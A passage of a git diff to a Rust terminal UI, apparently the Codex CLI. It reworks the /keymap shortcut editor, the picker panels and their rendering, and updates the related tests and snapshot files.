`{key}`.").dim()), + Line::from(error.red()), + ]) + .wrap(Wrap { trim: false }), + ), + footer_hint: Some(picker_hint_line_for_keymap(&runtime_keymap.list)), items: vec![ SelectionItem { name: "Pick another key".to_string(), @@ -415,8 +411,7 @@ pub(crate) fn build_keymap_conflict_params( ..Default::default() }, ], - col_width_mode: ColumnWidthMode::Fixed, - ..Default::default() + ..SelectionViewParams::picker() } } @@ -727,6 +722,11 @@ mod tests { use tokio::sync::mpsc::UnboundedReceiver; use tokio::sync::mpsc::unbounded_channel; + // Keep layout fixtures portable while runtime defaults remain platform-specific. + fn snapshot_runtime(runtime: RuntimeKeymap) -> RuntimeKeymap { + runtime + } + fn app_event_sender() -> AppEventSender { let (tx, _rx) = unbounded_channel(); AppEventSender::new(tx) @@ -901,7 +901,7 @@ mod tests { #[test] fn keymap_picker_fast_mode_enabled_snapshot() { - let runtime = RuntimeKeymap::defaults(); + let runtime = snapshot_runtime(RuntimeKeymap::defaults()); let params = build_keymap_picker_params_with_filter( &runtime, &TuiKeymap::default(), @@ -995,7 +995,7 @@ mod tests { #[test] fn picker_content_snapshot() { - let runtime = RuntimeKeymap::defaults(); + let runtime = snapshot_runtime(RuntimeKeymap::defaults()); let params = build_keymap_picker_params(&runtime, &TuiKeymap::default()); let all_tab = selection_tab(¶ms, KEYMAP_ALL_TAB_ID); let snapshot = params @@ -1190,7 +1190,7 @@ mod tests { #[test] fn picker_question_actions_snapshot() { - let runtime = RuntimeKeymap::defaults(); + let runtime = snapshot_runtime(RuntimeKeymap::defaults()); let params = build_keymap_picker_params_for_selected_action( &runtime, &TuiKeymap::default(), @@ -1223,7 +1223,7 @@ mod tests { #[test] fn picker_all_tab_items_remain_searchable() { - let runtime = RuntimeKeymap::defaults(); + let runtime = snapshot_runtime(RuntimeKeymap::defaults()); let params = build_keymap_picker_params(&runtime, &TuiKeymap::default()); let all_tab = selection_tab(¶ms, KEYMAP_ALL_TAB_ID); let snapshot = all_tab @@ -1246,7 +1246,7 @@ mod tests { #[test] fn picker_wide_render_snapshot() { - let runtime = RuntimeKeymap::defaults(); + let runtime = snapshot_runtime(RuntimeKeymap::defaults()); let params = build_keymap_picker_params(&runtime, &TuiKeymap::default()); assert_snapshot!("keymap_picker_wide", render_picker(params, /*width*/ 120)); @@ -1254,7 +1254,7 @@ mod tests { #[test] fn picker_narrow_render_snapshot() { - let runtime = RuntimeKeymap::defaults(); + let runtime = snapshot_runtime(RuntimeKeymap::defaults()); let params = build_keymap_picker_params(&runtime, &TuiKeymap::default()); assert_snapshot!("keymap_picker_narrow", render_picker(params, /*width*/ 78)); @@ -1265,7 +1265,8 @@ mod tests { let keymap = keymap_with_replacement(&TuiKeymap::default(), "composer", "submit", "ctrl-enter") .expect("replace binding"); - let runtime = RuntimeKeymap::from_config(&keymap).expect("runtime keymap"); + let runtime = + snapshot_runtime(RuntimeKeymap::from_config(&keymap).expect("runtime keymap")); let params = build_keymap_picker_params(&runtime, &keymap); assert_snapshot!("keymap_picker_custom", render_picker(params, /*width*/ 120)); @@ -1280,7 +1281,8 @@ mod tests { &["ctrl-t".to_string(), "ctrl-x ctrl-t".to_string()], ) .expect("global chord binding"); - let runtime = RuntimeKeymap::from_config(&keymap).expect("runtime keymap"); + let runtime = + snapshot_runtime(RuntimeKeymap::from_config(&keymap).expect("runtime keymap")); let params = build_keymap_picker_params(&runtime, &keymap); assert_snapshot!( diff --git a/codex-rs/tui/src/keymap_setup/capture.rs b/codex-rs/tui/src/keymap_setup/capture.rs index 94a70bc2a0..1aec18b0a6 100644 --- a/codex-rs/tui/src/keymap_setup/capture.rs +++ b/codex-rs/tui/src/keymap_setup/capture.rs @@ -1,4 +1,7 @@ -//! Transient single-key and chord capture for the `/keymap` shortcut editor. +//! Transient single-key and chord capture inside the shared `/keymap` panel. +//! +//! Content is measured at the inset width, including wrapped action identifiers. +//! Raw key capture remains independent of list navigation bindings. use super::key_event_to_config_key_spec; use crate::app_event::AppEvent; @@ -7,7 +10,12 @@ use crate::app_event::KeymapEditIntent; use crate::app_event_sender::AppEventSender; use crate::bottom_pane::BottomPaneView; use crate::bottom_pane::CancellationEvent; +use crate::bottom_pane::menu_surface_padding_height; +use crate::bottom_pane::popup_content_width; +use crate::bottom_pane::render_menu_surface; use crate::render::renderable::Renderable; +use crate::style::accent_color; +use crate::wrapping::word_wrap_lines; use crossterm::event::KeyCode; use crossterm::event::KeyEvent; use crossterm::event::KeyEventKind; @@ -63,7 +71,7 @@ impl KeymapCaptureView { fn lines(&self, width: u16) -> Vec> { let wrap_width = usize::from(width.max(1)); - let mut lines = vec![ + let header = vec![ Line::from("Remap Shortcut".bold()), Line::from(vec![ "Action: ".dim(), @@ -71,8 +79,12 @@ impl KeymapCaptureView { " ".into(), format!("{}.{}", self.context, self.action).dim(), ]), - Line::from(vec!["Current: ".dim(), self.current_binding.clone().cyan()]), + Line::from(vec![ + "Current: ".dim(), + self.current_binding.clone().fg(accent_color()), + ]), ]; + let mut lines = word_wrap_lines(&header, wrap_width); let instructions = match (self.capture_mode, self.first_stroke.as_deref()) { (KeymapCaptureMode::SingleKey, _) => "Press the new key now. Esc cancels.".to_string(), @@ -107,11 +119,13 @@ impl KeymapCaptureView { impl Renderable for KeymapCaptureView { fn render(&self, area: Rect, buf: &mut Buffer) { - Paragraph::new(self.lines(area.width)).render(area, buf); + let content_area = render_menu_surface(area, buf); + Paragraph::new(self.lines(content_area.width)).render(content_area, buf); } fn desired_height(&self, width: u16) -> u16 { - self.lines(width).len() as u16 + (self.lines(popup_content_width(width)).len() as u16) + .saturating_add(menu_surface_padding_height()) } } diff --git a/codex-rs/tui/src/keymap_setup/capture_tests.rs b/codex-rs/tui/src/keymap_setup/capture_tests.rs index f8af0450f3..bcc760b9a7 100644 --- a/codex-rs/tui/src/keymap_setup/capture_tests.rs +++ b/codex-rs/tui/src/keymap_setup/capture_tests.rs @@ -16,6 +16,8 @@ use crossterm::event::KeyEvent; use crossterm::event::KeyEventKind; use crossterm::event::KeyModifiers; use pretty_assertions::assert_eq; +use ratatui::buffer::Buffer; +use ratatui::layout::Rect; use tokio::sync::mpsc::UnboundedReceiver; use tokio::sync::mpsc::unbounded_channel; @@ -38,13 +40,21 @@ fn ctrl_key(code: KeyCode) -> KeyEvent { } fn capture_lines_at_width(view: &KeymapCaptureView, width: u16) -> String { - view.lines(width) - .into_iter() - .map(|line| { - line.spans - .iter() - .map(|span| span.content.as_ref()) + let area = Rect::new( + /*x*/ 0, + /*y*/ 0, + width, + view.desired_height(width), + ); + let mut buf = Buffer::empty(area); + view.render(area, &mut buf); + (0..area.height) + .map(|y| { + (0..area.width) + .map(|x| buf[(x, y)].symbol()) .collect::() + .trim_end() + .to_owned() }) .collect::>() .join("\n") @@ -75,30 +85,35 @@ fn chord_capture_instruction_snapshots() { fn chord_capture_instructions_wrap_to_narrow_panes() { let (mut view, _rx) = capture_view(); - insta::assert_snapshot!(capture_lines_at_width(&view, /*width*/ 24), @r" + insta::assert_snapshot!(capture_lines_at_width(&view, /*width*/ 24), @" + Remap Shortcut - Action: Jump Top list.jump_top + Action: Jump Top + list.jump_top Current: home Press the first key, then the second. Esc cancels. "); - assert_eq!(view.desired_height(/*width*/ 24), 6); + assert_eq!(view.desired_height(/*width*/ 24), 9); view.handle_key_event(KeyEvent::new( KeyCode::F(/*n*/ 24), KeyModifiers::CONTROL | KeyModifiers::ALT | KeyModifiers::SHIFT, )); - insta::assert_snapshot!(capture_lines_at_width(&view, /*width*/ 24), @r" + insta::assert_snapshot!(capture_lines_at_width(&view, /*width*/ 24), @" + Remap Shortcut - Action: Jump Top list.jump_top + Action: Jump Top + list.jump_top Current: home - First key: ctrl-alt- - shift-f24. Press the - second key. Esc cancels. + First key: ctrl- + alt-shift-f24. Press + the second key. Esc + cancels. "); - assert_eq!(view.desired_height(/*width*/ 24), 6); + assert_eq!(view.desired_height(/*width*/ 24), 10); } #[test] diff --git a/codex-rs/tui/src/keymap_setup/menu_tests.rs b/codex-rs/tui/src/keymap_setup/menu_tests.rs new file mode 100644 index 0000000000..6beefc5e4d --- /dev/null +++ b/codex-rs/tui/src/keymap_setup/menu_tests.rs @@ -0,0 +1,139 @@ +//! Configured child-menu navigation and disabled-description alignment. + +use super::*; +use crate::bottom_pane::BottomPaneView; +use crate::bottom_pane::ListSelectionView; +use crate::key_hint; +use crate::render::renderable::Renderable; +use pretty_assertions::assert_eq; +use ratatui::buffer::Buffer; +use ratatui::layout::Rect; +use tokio::sync::mpsc::unbounded_channel; + +fn child_menus(runtime: &RuntimeKeymap) -> [(&'static str, SelectionViewParams); 3] { + let config = TuiKeymap::default(); + let conflicting = keymap_with_replacement(&config, "composer", "submit", "tab") + .expect("valid key specification"); + let error = RuntimeKeymap::from_config(&conflicting).expect_err("tab already queues a message"); + [ + ( + "action", + build_keymap_action_menu_params( + "global".to_string(), + "open_transcript".to_string(), + runtime, + &config, + ), + ), + ( + "replace", + build_keymap_replace_binding_menu_params( + "global".to_string(), + "open_transcript".to_string(), + runtime, + ), + ), + ( + "conflict", + build_keymap_conflict_params( + "composer".to_string(), + "submit".to_string(), + "tab".to_string(), + KeymapEditIntent::ReplaceAll, + error, + runtime, + ), + ), + ] +} + +fn render_menu(view: &ListSelectionView) -> Vec { + let area = Rect::new( + /*x*/ 0, /*y*/ 0, /*width*/ 40, /*height*/ 16, + ); + let mut buf = Buffer::empty(area); + view.render(area, &mut buf); + (0..area.height) + .map(|y| { + (0..area.width) + .map(|x| buf[(x, y)].symbol()) + .collect::() + .trim_end() + .to_owned() + }) + .collect() +} + +#[test] +fn child_menu_hints_and_actions_follow_configured_list_bindings() { + let mut runtime = RuntimeKeymap::defaults(); + runtime.list.accept = vec![key_hint::plain(KeyCode::F(/*n*/ 3))]; + runtime.list.cancel = vec![key_hint::plain(KeyCode::F(/*n*/ 2))]; + for (_, params) in child_menus(&runtime) { + let (tx, mut rx) = unbounded_channel(); + let mut view = + ListSelectionView::new(params, AppEventSender::new(tx), runtime.list.clone()); + let rows = render_menu(&view); + assert_eq!(rows.last().unwrap().trim(), "f3 select · f2 back"); + view.handle_key_event(KeyEvent::from(KeyCode::Enter)); + assert!(rx.try_recv().is_err()); + view.handle_key_event(KeyEvent::from(KeyCode::F(/*n*/ 3))); + assert!(matches!( + rx.try_recv(), + Ok(AppEvent::OpenKeymapCapture { + capture_mode: KeymapCaptureMode::SingleKey, + .. + }) + )); + } + + for (_, params) in child_menus(&runtime) { + let (tx, mut rx) = unbounded_channel(); + let mut view = + ListSelectionView::new(params, AppEventSender::new(tx), runtime.list.clone()); + view.handle_key_event(KeyEvent::from(KeyCode::F(/*n*/ 2))); + assert!(view.is_complete()); + assert!(rx.try_recv().is_err()); + } +} + +#[test] +fn disabled_reason_wraps_in_the_description_column() { + let runtime = RuntimeKeymap::defaults(); + let params = build_keymap_action_menu_params( + "global".to_string(), + "open_transcript".to_string(), + &runtime, + &TuiKeymap::default(), + ); + let (tx, _rx) = unbounded_channel(); + let view = ListSelectionView::new(params, AppEventSender::new(tx), runtime.list); + let width = 64; + let area = Rect::new( + /*x*/ 0, + /*y*/ 0, + width, + view.desired_height(width), + ); + let mut buf = Buffer::empty(area); + view.render(area, &mut buf); + let rows = buf + .content() + .chunks(usize::from(width)) + .map(|row| { + row.iter() + .map(ratatui::buffer::Cell::symbol) + .collect::() + }) + .collect::>(); + let y = rows + .iter() + .position(|row| row.contains("Remove custom binding (disabled)")) + .expect("disabled action stays visible"); + let reason_start = rows[y].find("No custom root override").unwrap(); + let continuation_start = rows[y + 1].find("to remove.").unwrap(); + assert_eq!( + crate::width::display_width(&rows[y + 1][..continuation_start]), + crate::width::display_width(&rows[y][..reason_start]) + ); +} diff --git a/codex-rs/tui/src/keymap_setup/picker.rs b/codex-rs/tui/src/keymap_setup/picker.rs index 1673d464b9..623a86157e 100644 --- a/codex-rs/tui/src/keymap_setup/picker.rs +++ b/codex-rs/tui/src/keymap_setup/picker.rs @@ -1,5 +1,7 @@ //! Shortcut picker construction for `/keymap`. -//! Reserve the opt-in panel viewport so tab and search changes keep controls anchored. +//! +//! Keep the shared picker panel and reserved result viewport on the production +//! factory so tabs and search stay anchored in the live picker. use codex_config::types::TuiKeymap; use ratatui::style::Styled; @@ -11,7 +13,6 @@ use unicode_width::UnicodeWidthStr; use crate::app_event::AppEvent; use crate::bottom_pane::ColumnWidthMode; use crate::bottom_pane::PickerSurface; -use crate::bottom_pane::SelectionAppearance; use crate::bottom_pane::SelectionItem; use crate::bottom_pane::SelectionRowDisplay; use crate::bottom_pane::SelectionTab; @@ -296,8 +297,8 @@ fn build_keymap_picker_params_for_action( tabs.push(keymap_debug_tab()); SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(KEYMAP_PICKER_VIEW_ID), - appearance: SelectionAppearance::Picker, picker_surface: PickerSurface::Panel, max_visible_rows: 24, reserve_result_rows: true, diff --git a/codex-rs/tui/src/pets/picker.rs b/codex-rs/tui/src/pets/picker.rs index 935d230b93..a5c1490bab 100644 --- a/codex-rs/tui/src/pets/picker.rs +++ b/codex-rs/tui/src/pets/picker.rs @@ -117,6 +117,7 @@ pub(crate) fn build_pet_picker_params( .collect(); SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(PET_PICKER_VIEW_ID), title: Some("Select Pet".to_string()), subtitle: Some("Choose a pet to wake in the terminal.".to_string()), @@ -131,7 +132,7 @@ pub(crate) fn build_pet_picker_params( stacked_side_content: Some(Box::new(())), preserve_side_content_bg: true, on_selection_changed, - ..Default::default() + ..SelectionViewParams::picker() } } diff --git a/codex-rs/tui/src/snapshots/codex_tui__app__agents_overview__tests__agents_overview_embedded.snap b/codex-rs/tui/src/snapshots/codex_tui__app__agents_overview__tests__agents_overview_embedded.snap index 972757c6d2..023e52b3c1 100644 --- a/codex-rs/tui/src/snapshots/codex_tui__app__agents_overview__tests__agents_overview_embedded.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__app__agents_overview__tests__agents_overview_embedded.snap @@ -5,8 +5,9 @@ expression: "render_bottom_popup(&app.chat_widget, 96)" Shared agents unavailable This session isn’t connected to a shared background server. + › 1. Start background server Open `codex agents` in another terminal afterward. 2. Return to this session Starting a background server will not interrupt or move this session. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/snapshots/codex_tui__app__agents_overview__tests__agents_overview_resume_error.snap b/codex-rs/tui/src/snapshots/codex_tui__app__agents_overview__tests__agents_overview_resume_error.snap index 4a29582d7d..27a6d82c1a 100644 --- a/codex-rs/tui/src/snapshots/codex_tui__app__agents_overview__tests__agents_overview_resume_error.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__app__agents_overview__tests__agents_overview_resume_error.snap @@ -5,6 +5,7 @@ expression: "render_bottom_popup(&app.chat_widget, 96)" Unable to resume session The session is unavailable. + › 1. Return to command center - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/snapshots/codex_tui__app__tests__path_backed_agent_picker.snap b/codex-rs/tui/src/snapshots/codex_tui__app__tests__path_backed_agent_picker.snap index cde2620e65..ab3252682c 100644 --- a/codex-rs/tui/src/snapshots/codex_tui__app__tests__path_backed_agent_picker.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__app__tests__path_backed_agent_picker.snap @@ -5,6 +5,7 @@ expression: "render_bottom_popup(&app.chat_widget, 80)" Subagents Select an agent to watch. ⌥+← previous, ⌥+→ next. + › 1. • /root/worker 00000000-0000-0000-0000-000000000123 - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/snapshots/codex_tui__app__tests__replace_goal_confirmation.snap b/codex-rs/tui/src/snapshots/codex_tui__app__tests__replace_goal_confirmation.snap index d7d6bf0f8d..5f013425e3 100644 --- a/codex-rs/tui/src/snapshots/codex_tui__app__tests__replace_goal_confirmation.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__app__tests__replace_goal_confirmation.snap @@ -1,11 +1,12 @@ --- source: tui/src/app/tests.rs -expression: "crate::chatwidget::tests::helpers::render_bottom_popup(&app.chat_widget, 80)" +expression: "render_bottom_popup(&app.chat_widget, 80)" --- Replace goal? New objective: New goal + › 1. Replace current goal Set the new objective and start it now 2. Cancel Keep the current goal - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/snapshots/codex_tui__app__tests__untracked_thread_notifications_agent_picker.snap b/codex-rs/tui/src/snapshots/codex_tui__app__tests__untracked_thread_notifications_agent_picker.snap index a6418e1e27..c2024241e8 100644 --- a/codex-rs/tui/src/snapshots/codex_tui__app__tests__untracked_thread_notifications_agent_picker.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__app__tests__untracked_thread_notifications_agent_picker.snap @@ -5,6 +5,7 @@ expression: "render_bottom_popup(&app.chat_widget, 80)" Subagents Select an agent to watch. ⌥+← previous, ⌥+→ next. + › 1. • Main [default] (current) 00000000-0000-0000-0000-000000000123 - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/snapshots/codex_tui__keymap_setup__tests__keymap_action_menu_responsive.snap b/codex-rs/tui/src/snapshots/codex_tui__keymap_setup__tests__keymap_action_menu_responsive.snap index 4574e12973..f721aa731c 100644 --- a/codex-rs/tui/src/snapshots/codex_tui__keymap_setup__tests__keymap_action_menu_responsive.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__keymap_setup__tests__keymap_action_menu_responsive.snap @@ -1,5 +1,6 @@ --- source: tui/src/keymap_setup.rs +assertion_line: 1423 expression: snapshot --- 48 columns: @@ -10,20 +11,13 @@ expression: snapshot Config `tui.keymap.global.open_transcript` Open the transcript overlay. + › 1. Replace binding - Capture a replacement key for `ctrl-t`. 2. Add alternate binding - Keep `ctrl-t` and add another key. 3. Replace with key chord - Replace `ctrl-t` with a two-stroke key - chord. 4. Add alternate key chord - Keep `ctrl-t` and add a two-stroke key - chord. – Remove custom binding (disabled) - No custom root override to remove. 5. Back to shortcuts - Return to the shortcut list. Changes write the root `tui.keymap.*` override. @@ -37,18 +31,19 @@ expression: snapshot Config `tui.keymap.global.open_transcript` Open the transcript overlay. -› 1. Replace binding - Capture a replacement key for `ctrl-t`. - 2. Add alternate binding - Keep `ctrl-t` and add another key. - 3. Replace with key chord - Replace `ctrl-t` with a two-stroke key chord. - 4. Add alternate key chord - Keep `ctrl-t` and add a two-stroke key chord. - – Remove custom binding (disabled) - No custom root override to remove. - 5. Back to shortcuts - Return to the shortcut list. + +› 1. Replace binding Capture a replacement key + for `ctrl-t`. + 2. Add alternate binding Keep `ctrl-t` and add + another key. + 3. Replace with key chord Replace `ctrl-t` with a + two-stroke key chord. + 4. Add alternate key chord Keep `ctrl-t` and add a + two-stroke key chord. + – Remove custom binding (disabled) No custom root override + to remove. + 5. Back to shortcuts Return to the shortcut + list. Changes write the root `tui.keymap.*` override. enter select · esc back @@ -61,6 +56,7 @@ expression: snapshot Config `tui.keymap.global.open_transcript` Open the transcript overlay. + › 1. Replace binding Capture a replacement key for `ctrl-t`. 2. Add alternate binding Keep `ctrl-t` and add another key. 3. Replace with key chord Replace `ctrl-t` with a two-stroke key chord. diff --git a/codex-rs/tui/src/snapshots/codex_tui__keymap_setup__tests__keymap_capture_view.snap b/codex-rs/tui/src/snapshots/codex_tui__keymap_setup__tests__keymap_capture_view.snap index 076afd344c..5a21d75d90 100644 --- a/codex-rs/tui/src/snapshots/codex_tui__keymap_setup__tests__keymap_capture_view.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__keymap_setup__tests__keymap_capture_view.snap @@ -5,26 +5,26 @@ expression: "format!(\"{:?}\", render_capture(&view, 80, 8))" Buffer { area: Rect { x: 0, y: 0, width: 80, height: 8 }, content: [ - "Remap Shortcut ", - "Action: Submit composer.submit ", - "Current: enter ", - "Press the new key now. Esc cancels. ", " ", + " Remap Shortcut ", + " Action: Submit composer.submit ", + " Current: enter ", + " Press the new key now. Esc cancels. ", " ", " ", " ", ], styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: BOLD, - x: 14, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 8, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 16, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 31, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 9, y: 2, fg: Cyan, bg: Reset, underline: Reset, modifier: NONE, - x: 14, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 35, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + x: 2, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: BOLD, + x: 16, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + x: 2, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, + x: 10, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + x: 18, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, + x: 33, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + x: 2, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, + x: 11, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, + x: 2, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, + x: 37, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, ] } diff --git a/codex-rs/tui/src/snapshots/codex_tui__keymap_setup__tests__keymap_voice_toggle.snap b/codex-rs/tui/src/snapshots/codex_tui__keymap_setup__tests__keymap_voice_toggle.snap index 2e150df2cf..d7762e3155 100644 --- a/codex-rs/tui/src/snapshots/codex_tui__keymap_setup__tests__keymap_voice_toggle.snap +++ b/codex-rs/tui/src/snapshots/codex_tui__keymap_setup__tests__keymap_voice_toggle.snap @@ -9,12 +9,11 @@ expression: "render_picker(build_keymap_action_menu_params(\"chat\".into(),\n\"t Config `tui.keymap.chat.toggle_voice` Start or stop a voice conversation. + › 1. Replace binding Capture a replacement key for `f8`. 2. Add alternate binding Keep `f8` and add another key. - 3. Replace with key chord Replace `f8` with a two-stroke key - chord. - 4. Add alternate key chord Keep `f8` and add a two-stroke key - chord. + 3. Replace with key chord Replace `f8` with a two-stroke key chord. + 4. Add alternate key chord Keep `f8` and add a two-stroke key chord. – Remove custom binding (disabled) No custom root override to remove. 5. Back to shortcuts Return to the shortcut list. diff --git a/codex-rs/tui/src/theme_picker.rs b/codex-rs/tui/src/theme_picker.rs index 493b9f84f7..8cbabdaa5f 100644 --- a/codex-rs/tui/src/theme_picker.rs +++ b/codex-rs/tui/src/theme_picker.rs @@ -388,6 +388,7 @@ pub(crate) fn build_theme_picker_params( }) as Box, ); SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some("Select Syntax Theme".to_string()), subtitle: Some(theme_picker_subtitle( codex_home_owned.as_deref(), @@ -405,7 +406,7 @@ pub(crate) fn build_theme_picker_params( preserve_side_content_bg: true, on_selection_changed, on_cancel, - ..Default::default() + ..SelectionViewParams::picker() } } diff --git a/codex-rs/tui/src/theme_picker_model_tests.rs b/codex-rs/tui/src/theme_picker_model_tests.rs index ba19703f83..1ebd36301a 100644 --- a/codex-rs/tui/src/theme_picker_model_tests.rs +++ b/codex-rs/tui/src/theme_picker_model_tests.rs @@ -49,7 +49,9 @@ fn model_theme_files_preview_select_and_restore() { let lines = highlight::highlight_code_to_lines(code, "rust"); assert!(lines.iter().all(|line| line.style.bg.is_none() && line.spans.iter().all(|span| span.style.bg.is_none()))); - let area = Rect::new(0, 0, 54, 4); + let area = Rect::new( + /*x*/ 0, /*y*/ 0, /*width*/ 54, /*height*/ 4, + ); let mut buffer = Buffer::empty(area); ThemePreviewNarrowRenderable.render(area, &mut buffer); if matches!(name, "dali" | "davinci") {